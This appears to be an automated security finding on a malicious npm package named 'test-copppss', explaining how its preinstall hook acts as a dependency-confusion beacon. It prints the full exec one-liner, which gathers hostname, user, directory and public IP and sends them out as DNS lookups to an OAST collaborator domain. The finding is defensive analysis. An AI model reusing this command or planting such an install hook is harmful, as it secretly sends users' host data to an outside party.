## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

On \`npm install\`, the package's \`preinstall\` hook (\`node index.js \> /dev/null 2\>&1\`) runs a shell pipeline that collects host identifiers — \`hostname\`, \`pwd\`, \`whoami\`, the package name \`test-copppss\`, and the machine's public IP via \`curl https://ifconfig.me\` — hex-encodes the concatenation with \`xxd -p\`, and exfiltrates it as DNS subdomain lookups to \`\*.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com\` (a Burp Collaborator OAST endpoint controlled by the operator). Code at index.js:2 is \`exec("a=$(hostname;pwd;whoami;echo 'test-copppss';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com;done")\`. The package metadata (empty description, near-max version \`1.999.0\` to win semver resolution, single trivial dependency, preinstall beacon) matches the canonical dependency-confusion / namespace-claim reconnaissance shape — the attacker is probing which internal build systems resolve \`test-copppss\` to this public name and is harvesting the host fingerprint of any environment that does.
